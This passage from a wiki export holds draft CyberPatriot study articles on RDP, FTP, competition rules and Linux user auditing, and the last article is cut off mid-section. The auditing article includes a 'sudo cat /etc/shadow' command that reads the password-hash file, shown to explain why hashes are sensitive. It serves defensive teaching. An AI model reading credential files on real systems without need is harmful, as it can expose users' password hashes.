* Basic knowledge of Windows&amp;lt;br /&amp;gt;&lt;br /&gt;
* Registry&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is RDP? ==&lt;br /&gt;
&lt;br /&gt;
RDP (Remote Desktop Protocol) is a tool developed by Microsoft that lets you control one computer from another over a network. It is part of Windows Remote Desktop Services (RDS). RDP provides a graphical interface for easy access to the remote Windows desktop. This allows you to work with applications, files, and settings remotely.&lt;br /&gt;
&lt;br /&gt;
Built into Windows and accessible through the Remote Desktop Connection client (mstsc.exe), RDP sends screen updates, keyboard input, and mouse movements between the client and the remote computer. It can transfer different types of data at the same time. RDP is used for remote work, system management, technical support, and application delivery. It helps users and IT professionals manage computers without needing to be physically present.&lt;br /&gt;
&lt;br /&gt;
== Why and Where is RDP Used? ==&lt;br /&gt;
&lt;br /&gt;
The main purpose of RDP is to provide control over a remote computer. Unlike Secure Shell(SSH), which is through a command line interface, RDP streams the entire desktop interface. This allows for easy remote management and interaction. Examples:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;IT Administration:&#039;&#039;&#039; System administrators use RDP to manage servers located in a data center or cloud environment that&#039;s running Windows Server, like Azure or AWS. Other servers, such as those running Linux, are typically managed using SSH.&lt;br /&gt;
* &#039;&#039;&#039;Remote Work:&#039;&#039;&#039; An employee working from home can use RDP to connect to their desktop computer at the office.&lt;br /&gt;
* &#039;&#039;&#039;Technical Support:&#039;&#039;&#039; A help desk technician can use RDP to remotely connect to a user&#039;s computer to troubleshoot issues, install software, or change settings directly.&lt;br /&gt;
&lt;br /&gt;
== How RDP Works ==&lt;br /&gt;
&lt;br /&gt;
=== The Protocol ===&lt;br /&gt;
&lt;br /&gt;
Remote Desktop Protocol (RDP) connects to another computer over a network, usually through TCP port 3389 (default port). It comes preinstalled on Windows, and you can access it through the Remote Desktop Connection app. RDP can manage different types of data separately, such as screen display and keyboard input. It also supports sharing information with multiple users at once.&lt;br /&gt;
&lt;br /&gt;
=== Connection Process: ===&lt;br /&gt;
&lt;br /&gt;
# The user launches the Remote Desktop Connection client (&amp;lt;code&amp;gt;mstsc.exe&amp;lt;/code&amp;gt;) on their Windows device.&lt;br /&gt;
# The client initiates a TCP connection to the server on port 3389 (by default).&lt;br /&gt;
# The user authenticates with their Windows username and password.&lt;br /&gt;
# Client and server negotiate encryption and authentication.&lt;br /&gt;
# Screen updates are sent to the client, and user inputs are relayed to the server.&lt;br /&gt;
# The remote desktop session is established, streaming the remote interface to the client while sending input back to the host.&lt;br /&gt;
&lt;br /&gt;
== Security ==&lt;br /&gt;
&lt;br /&gt;
The security of Remote Desktop Protocol (RDP) connections primarily relies on Windows authentication mechanisms. The two main protocols used for authenticating users during an RDP session are:&lt;br /&gt;
&lt;br /&gt;
* \**NTLM (NT LAN Manager) - ** An older challenge-response authentication protocol. While still supported, NTLM is significantly less secure.&lt;br /&gt;
* &#039;&#039;&#039;Kerberos&#039;&#039;&#039; - Kerberos provides stronger security through mutual authentication (both client and server verify each other&#039;s identity) and protection against replay attacks. This is always the preferred method.&lt;br /&gt;
&lt;br /&gt;
Other important security measures include:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Network Level Authentication (NLA)&#039;&#039;&#039; - Requires the client to authenticate using Windows credentials (via Kerberos or NTLM) &#039;&#039;before&#039;&#039; the RDP session is fully established. This reduces the server’s attack surface and mitigates various attacks, such as credential brute-force and resource exhaustion.&lt;br /&gt;
* &#039;&#039;&#039;Encryption&#039;&#039;&#039; - RDP supports encryption through TLS (Transport Layer Security). It is recommended to enforce &#039;&#039;&#039;TLS 1.2 or later&#039;&#039;&#039; to avoid vulnerabilities in older versions and to protect session data in transit.&lt;br /&gt;
* &#039;&#039;&#039;Auditing and Monitoring&#039;&#039;&#039; - This goes with all the other critical services in the Application Security section.&lt;br /&gt;
&lt;br /&gt;
== Important files and locations ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HKCU\Software\Microsoft\Terminal Server Client\Default&amp;lt;/code&amp;gt; - Stores connection history, credentials, and display settings.&lt;br /&gt;
* &amp;lt;code&amp;gt;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;lt;/code&amp;gt; - Controls server-side settings like security, licensing, and session limits.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\Users\[user]\Documents\Default.rdp&amp;lt;/code&amp;gt; - Stores connection settings like hostname, IP, resolution, and credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;mstsc.exe&amp;lt;/code&amp;gt; - Remote Desktop Connection client for initiating RDP sessions.&lt;br /&gt;
* &amp;lt;code&amp;gt;rdpclip.exe&amp;lt;/code&amp;gt; - Manages clipboard sharing between local and remote systems.&lt;br /&gt;
* &amp;lt;code&amp;gt;tscon.exe&amp;lt;/code&amp;gt; - Connects to terminal sessions via command line.&lt;br /&gt;
* &amp;lt;code&amp;gt;tsdiscon.exe&amp;lt;/code&amp;gt; - Disconnects terminal sessions via command line.&lt;br /&gt;
* &amp;lt;code&amp;gt;termsrv.dll&amp;lt;/code&amp;gt; - Core RDP server module handling connections.&lt;br /&gt;
* &amp;lt;code&amp;gt;wtsapi32.dll&amp;lt;/code&amp;gt; - Windows Terminal Services API for interacting with RDP services.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References &amp;amp;amp; Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/023f1e69-cfe8-4ee6-9ee0-7e759fb4e4ee&lt;br /&gt;
* https://en.wikipedia.org/wiki/Remote_Desktop_Protocol&lt;br /&gt;
* https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
DPRK(2 vulns), Tokyo 3(2 vulns), Baldi&#039;s Basics(2 vulns), Sunrise(3 vulns), Beyond Journey&#039;s End(2 vulns), Alphabet Soup(2 vulns), PPTH(3 vulns) are some images with RDP. https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Vulnerability Research ==&lt;br /&gt;
&lt;br /&gt;
* https://stigviewer.com/stigs/microsoft_windows_11&lt;br /&gt;
* https://workbench.cisecurity.org/benchmarks/21318&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows RDP|014]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_FTP&amp;diff=176</id>
		<title>Draft:Introduction to FTP</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_FTP&amp;diff=176"/>
		<updated>2026-09-22T05:42:49Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/app_sec/ftp/intro_ftp (source: docs/windows/app_sec/ftp/intro_ftp.md) --&amp;gt;&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-11-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Basic knowledge of Windows &amp;lt;br /&amp;gt;&lt;br /&gt;
* Basic knowledge of Networking&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is it? ==&lt;br /&gt;
&lt;br /&gt;
File Transfer Protocol (FTP) is a standard network protocol based on a client-server model. It is used for transferring computer files between a client and a server on a network. Even though it is one of the oldest internet protocols, it is still widely used for web development, large file sharing, and data storage.&lt;br /&gt;
&lt;br /&gt;
SMB (what we talked about in the last 2 articles) and FTP are both network protocols used for transferring files between computers. They have several similarities. They both work over TCP/IP and can be used in client-server setups, where one device hosts the files and another device accesses them. SMB is most commonly used in local area networks (LANs), especially within Windows environments, where it facilitates file and printer sharing between devices. FTP is better for transferring files over wider networks, such as the internet, and is often used in website management, server-to-server data transfers, and automated file workflows.&lt;br /&gt;
&lt;br /&gt;
The main issue of FTP is its lack of security. Credentials and data are sent in plain text. Because of this, modern secure options like FTPS (FTP over SSL/TLS) and SFTP (SSH File Transfer Protocol) are highly recommended for most situations.&lt;br /&gt;
&lt;br /&gt;
== Why and Where is FTP Used? ==&lt;br /&gt;
&lt;br /&gt;
The main purpose of FTP is to offer a straightforward way to transfer files between computers, especially over the internet. Unlike SMB, FTP serves as a dedicated tool for one task: uploading and downloading files. This straightforwardness has made it a standard choice for various automated and manual file transfer tasks, especially when systems with different operating systems need to share data.&lt;br /&gt;
&lt;br /&gt;
Examples:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Web Development:&#039;&#039;&#039; A web developer uses an FTP client (like FileZilla) to upload website files (HTML, images, scripts) from their computer to the web server that hosts the live site.&lt;br /&gt;
* &#039;&#039;&#039;Automated Data Exchange:&#039;&#039;&#039; Businesses set up automated scripts to transfer data files, such as daily sales reports or inventory updates, between their servers and those of their partners.&lt;br /&gt;
* &#039;&#039;&#039;Bulk Data Transfer:&#039;&#039;&#039; Companies and research institutions use FTP servers to share very large files, like software installers, large datasets, or video archives, that are too big to send via email.&lt;br /&gt;
&lt;br /&gt;
== How does it work? ==&lt;br /&gt;
&lt;br /&gt;
# The client starts a connection to the server&#039;s command channel, usually on Port 21. The client sends login details (username and password) for the server to confirm.&lt;br /&gt;
# After authentication, the client sends commands (like listing files, changing directories, or requesting a file) to the server through the command channel.&lt;br /&gt;
# When a file transfer or directory listing is needed, a second temporary data channel opens. The actual file content travels over this channel, which closes when the transfer finishes.&lt;br /&gt;
&lt;br /&gt;
The way the data channel opens determines the mode. In Active mode, the server connects back to the client, but this is often blocked by firewalls. In Passive mode, the client starts the connection to the server. This method is more friendly to firewalls and is the modern standard.&lt;br /&gt;
&lt;br /&gt;
== FTPS vs SFTP ==&lt;br /&gt;
&lt;br /&gt;
It&#039;s important to note that while both offer secure transfers, FTPS is FTP secured by SSL/TLS. SFTP, however, is a different protocol built on top of SSH, using a single connection for both commands and data.&lt;br /&gt;
&lt;br /&gt;
== Important Files and Locations ==&lt;br /&gt;
&lt;br /&gt;
Note that this is when the FTP Server role is installed in IIS&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\inetpub\ftproot&amp;lt;/code&amp;gt; - Default location for hosted FTP content. Can be changed per site in IIS Manager.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\Windows\System32\inetsrv\config\applicationHost.config&amp;lt;/code&amp;gt; - Stores all IIS site and FTP configuration settings.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\inetpub\logs\LogFiles\FTPSVC[SiteID]&amp;lt;/code&amp;gt; - Contains FTP connection and transfer logs; [SiteID] matches the site’s numeric ID in IIS.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\Windows\System32\ftp.exe&amp;lt;/code&amp;gt; - Basic FTP client for command-line transfers and testing.&lt;br /&gt;
&lt;br /&gt;
== Microsoft FTP ==&lt;br /&gt;
&lt;br /&gt;
Windows Server comes with a FTP server as part of IIS. It is not installed by default but can be turned on through &amp;amp;quot;Turn Windows features on or off&amp;amp;quot; or &amp;amp;quot;Add Roles and Features&amp;amp;quot; in Server Manager.&lt;br /&gt;
&lt;br /&gt;
== Other FTP Servers ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FileZilla Server:&#039;&#039;&#039; A widely used free, open-source server that is simple to set up. It supports both FTP and FTPS and has an easy graphical interface for managing users and groups.&lt;br /&gt;
* &#039;&#039;&#039;Wing FTP Server:&#039;&#039;&#039; A flexible server that supports SFTP, FTPS, and HTTPS. It is known for its web-based administration interface, allowing for remote management from any browser.&lt;br /&gt;
&lt;br /&gt;
== Common FTP Clients ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FileZilla Client:&#039;&#039;&#039; A free and open-source cross-platform client with a graphical user interface, supporting FTP, FTPS, and SFTP.&lt;br /&gt;
* &#039;&#039;&#039;WinSCP:&#039;&#039;&#039; (Windows only) A free graphical SFTP, SCP, S3, FTP, and WebDAV client. Known for its strong integration with Windows and scripting capabilities.&lt;br /&gt;
&lt;br /&gt;
== References &amp;amp;amp; Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/iis/install/installing-publishing-technologies/installing-and-configuring-ftp-7-on-iis-7&lt;br /&gt;
* https://wiki.filezilla-project.org/Main_Page&lt;br /&gt;
* https://www.cerberusftp.com/&lt;br /&gt;
* https://www.wftpserver.com/&lt;br /&gt;
* https://winscp.net/eng/docs/start&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp&lt;br /&gt;
* https://en.wikipedia.org/wiki/File_Transfer_Protocol&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Apeture Science(~5 vulns) and My Little Pony (2 vulns) are images with FTP. https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
== Vulenrability Research ==&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/iis/configuration/system.ftpserver/security/&lt;br /&gt;
* https://wiki.filezilla-project.org/Securing_your_Windows_Service_installation&lt;br /&gt;
* https://filezillapro.com/docs/server/advanced-options/setting-up-connection-security/&lt;br /&gt;
* https://support.cerberusftp.com/hc/en-us/articles/360000499020-Securing-Cerberus-FTP-Server-Best-Practices-for-Enhanced-Security&lt;br /&gt;
* https://www.wftpserver.com/help/ftpserver/index.html?security.htm&lt;br /&gt;
* https://winscp.net/eng/docs/security&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows FTP|016]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Rules&amp;diff=175</id>
		<title>Draft:Rules</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Rules&amp;diff=175"/>
		<updated>2026-09-22T05:42:49Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/Rules (source: docs/Rules.md) --&amp;gt;&lt;br /&gt;
== Important rules to know ==&lt;br /&gt;
&lt;br /&gt;
# You &#039;&#039;&#039;CAN NOT&#039;&#039;&#039; use scripts developed by other competitors or any script designed for the CyberPatriot Competition. Teams from the same school or organization may not collaborate in creating scripts and may not share scripts with each other or other teams.&lt;br /&gt;
# You &#039;&#039;&#039;CAN NOT&#039;&#039;&#039; ask for another team&#039;s unique identifier (UID).&lt;br /&gt;
# You &#039;&#039;&#039;CAN NOT&#039;&#039;&#039; share competition specific information such as vulnerabilities and image contents. This also extends to previous competitions.&lt;br /&gt;
# You &#039;&#039;&#039;CAN NOT&#039;&#039;&#039; use large language models or artificial intelligence in helping you with Forensics Questions or Cisco Quizzes.&lt;br /&gt;
# You may use any resource as long as it is free and has not been accessed through monetary means; it must be publicly and reasonably available to all teams, not specifically created for the CyberPatriot competition or any event using CyberPatriot software, not staged online by your team, and not created by other teams, coaches, technical mentors, or team assistants.&lt;br /&gt;
# You &#039;&#039;&#039;CAN&#039;&#039;&#039; write your own scripts from scratch during the competition or beforehand, as long as they&#039;re original and not shared with others.&lt;br /&gt;
# You &#039;&#039;&#039;CAN&#039;&#039;&#039; use official documentation (Microsoft, Ubuntu, Cisco, etc.) and freely available online resources, like guides, and forums.&lt;br /&gt;
# You &#039;&#039;&#039;CAN&#039;&#039;&#039; use checklists, notes, or study guides that your &#039;&#039;&#039;own team&#039;&#039;&#039; has compiled, as long as they are &#039;&#039;&#039;not shared across teams&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Remember: If you think it&#039;s against the rules, it probably is.&lt;br /&gt;
&lt;br /&gt;
== You can always check by consulting the rulebook: https://www.uscyberpatriot.org/competition/rules-book or emailing [mailto:cpoc@uscyberpatriot.org cpoc@uscyberpatriot.org]. ==&lt;br /&gt;
&lt;br /&gt;
[[Category:General|999 Rules]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:User_Auditing_-_Beginner&amp;diff=174</id>
		<title>Draft:User Auditing - Beginner</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:User_Auditing_-_Beginner&amp;diff=174"/>
		<updated>2026-09-22T05:42:45Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/user_auditing/intro_user_auditing (source: docs/linux/user_auditing/intro_user_auditing.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): c-bass&lt;br /&gt;
&lt;br /&gt;
Last Updated: 7-1-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None! This is an introductory article.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Fundamental concepts ==&lt;br /&gt;
&lt;br /&gt;
=== Users ===&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;user&#039;&#039;&#039; on linux is just like a user on other operating systems, like MacOS or Windows: it&#039;s an account that represents something (a person or a process) that can access the system. Every user gets a unique username, a password, a home folder (called a &#039;&#039;directory&#039;&#039; on linux), and a UID (User ID, a number used by the system to uniquely identify users).&lt;br /&gt;
&lt;br /&gt;
=== Groups ===&lt;br /&gt;
&lt;br /&gt;
Put simply, a &#039;&#039;&#039;group&#039;&#039;&#039; on linux is a collection of users that share the same permissions. This makes access control significantly easier. Say you have a set of users that need access to a directory-- you can put them all in a group and give the group itself, not the individual users, access to that directory. This is advantageous since if you need to give more users access in the future, you can simply add them to the group. Note this is a &#039;&#039;singular&#039;&#039; use of groups - there are many other uses - but this demonstrates the usefulness groups can have. Each group has a GID (Group ID), just like how each user has a UID.&lt;br /&gt;
&lt;br /&gt;
== Key files ==&lt;br /&gt;
&lt;br /&gt;
=== The /etc/passwd file ===&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; file stores user info. Let&#039;s explore how it works:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ubuntu@ubuntu:~$ cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;br /&gt;
bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;br /&gt;
sys:x:3:3:sys:/dev:/usr/sbin/nologin&lt;br /&gt;
...&lt;br /&gt;
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
There&#039;s one line per user. The first user listed is the &#039;&#039;root user&#039;&#039;, having a UID of 0. This should be the only user to have this uid. The root user is an administration account with unrestricted access to the system. System users have UIDs below 1000 (like &amp;lt;code&amp;gt;daemon&amp;lt;/code&amp;gt; in the output above), and normal users (like the &amp;lt;code&amp;gt;ubuntu&amp;lt;/code&amp;gt; user above) have UIDs 1000 or greater.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! What is a system user? (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Many of the users above are &#039;&#039;system users&#039;&#039;, meaning they&#039;re for system accounts and not meant for actual use. A user is a system user if it has a UID under 1000. System users exist because many programs/services need a user account to own their respective files. For instance, a webserver needs a system account to own files in &amp;lt;code&amp;gt;/var/www&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Each line in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; follows this format:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;username:password:UID:GID:comment:home_directory:shell&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
There are some important things to note about this:&lt;br /&gt;
&lt;br /&gt;
* Each user&#039;s password isn&#039;t stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, instead a &#039;&#039;placeholder&#039;&#039; takes the password field. Typically that placeholder is &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, denoting the password hash is stored in another file (&amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). The same goes for the &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; file!&lt;br /&gt;
* While normal users have loginable shells, like &amp;lt;code&amp;gt;/bin/bash&amp;lt;/code&amp;gt;, system users by convention don&#039;t have loginable shells, usually &amp;lt;code&amp;gt;/bin/false&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/sbin/nologin&amp;lt;/code&amp;gt;.&lt;br /&gt;
* A GID denotes a user&#039;s &#039;&#039;primary group&#039;&#039;. Secondary groups (often called supplementary groups) are denoted by entries in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;. This&#039;ll be explained more below!&lt;br /&gt;
&lt;br /&gt;
=== The /etc/group file ===&lt;br /&gt;
&lt;br /&gt;
Like how &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; stores user info, the &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; file stores group info.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;ubuntu@ubuntu:~$ cat /etc/group&lt;br /&gt;
root:x:0:&lt;br /&gt;
daemon:x:1:&lt;br /&gt;
bin:x:2:&lt;br /&gt;
sys:x:3:&lt;br /&gt;
...&lt;br /&gt;
sudo:x:27:ubuntu&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Each line follows this structure:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;group:password:GID:users&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
A particularly important group is &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;: any user in the &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; group effectively has full access to the system.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! What is a primary group? What is a supplementary group? (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Every user has exactly one &#039;&#039;&#039;primary group&#039;&#039;&#039; that is assigned when the user account is created - this is the group that owns files when the user creates them. Users can also belong to multiple &#039;&#039;&#039;supplementary groups&#039;&#039;&#039; (also called secondary groups) which give them additional permissions beyond their primary group. For example, a user named &amp;amp;quot;josh&amp;amp;quot; might have &amp;amp;quot;josh&amp;amp;quot; as their primary group but also belong to supplementary groups like &amp;amp;quot;sudo&amp;amp;quot; and &amp;amp;quot;docker&amp;amp;quot; to access those specific services. Primary groups are denoted by a user&#039;s GID in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, and supplementary groups are denoted by entries in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The /etc/shadow file ===&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; file stores password hashes and other important information.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;ubuntu@ubuntu:~$ sudo cat /etc/shadow&lt;br /&gt;
root:!:19827:0:99999:7:::&lt;br /&gt;
daemon:*:19790:0:99999:7:::&lt;br /&gt;
bin:*:19790:0:99999:7:::&lt;br /&gt;
sys:*:19790:0:99999:7:::&lt;br /&gt;
sync:*:19790:0:99999:7:::&lt;br /&gt;
...&lt;br /&gt;
ubuntu:&amp;lt;hash&amp;gt;:19827:0:99999:7:::&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Why do we need sudo here, but not /etc/passwd and /etc/group? (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Password hashes are &#039;&#039;incredibly&#039;&#039; sensitive information. If someone has an insecure password, it&#039;s usually trivial to find it if you have their hash. For this reason, we need root permissions (granted through &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) to view the &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; file. In contrast, the info in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; is less critical.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
It&#039;s beyond the scope of introductory user auditing to explain the structure of the &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; file-- for now, just know it exists and what its purpose is.&lt;br /&gt;
&lt;br /&gt;
== Hardening ==&lt;br /&gt;
&lt;br /&gt;
=== User Auditing ===&lt;br /&gt;
&lt;br /&gt;
Since users are stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, you can use this command to get a list of all users on the system with loginable shells:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;grep &amp;quot;/bin/.*sh$&amp;quot; /etc/passwd | cut -d: -f1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
In a system hardening scenario, you&#039;re usually given a list of authorized users: compare that list to the actual users present.&lt;br /&gt;
&lt;br /&gt;
For any users not supposed to be on the system, remove them:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;sudo deluser &amp;lt;user&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To remove their home directory too, use:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;sudo deluser --remove-home &amp;lt;user&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;userdel&amp;lt;/code&amp;gt; also works if needs be, but &amp;lt;code&amp;gt;deluser&amp;lt;/code&amp;gt; is standard. Alternatively, simply remove the user&#039;s entry in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
If you need to add a user to the system, run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;sudo adduser &amp;lt;user&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; also works in case &amp;lt;code&amp;gt;adduser&amp;lt;/code&amp;gt; isn&#039;t available.&lt;br /&gt;
&lt;br /&gt;
=== Group Auditing ===&lt;br /&gt;
&lt;br /&gt;
Check the members of the sudo group:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;getent group sudo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Alternatively,&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;grep sudo /etc/group&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
In a system hardening scenario, compare this to known authorized admins. To remove an unauthorized admin (but keep them on the system), do:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;sudo deluser username sudo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Alternatively, you can modify the &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; file and remove the user from the &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; group manually.&lt;br /&gt;
&lt;br /&gt;
=== Other Hardening ===&lt;br /&gt;
&lt;br /&gt;
If a user has an insecure password, change it!&lt;br /&gt;
&lt;br /&gt;
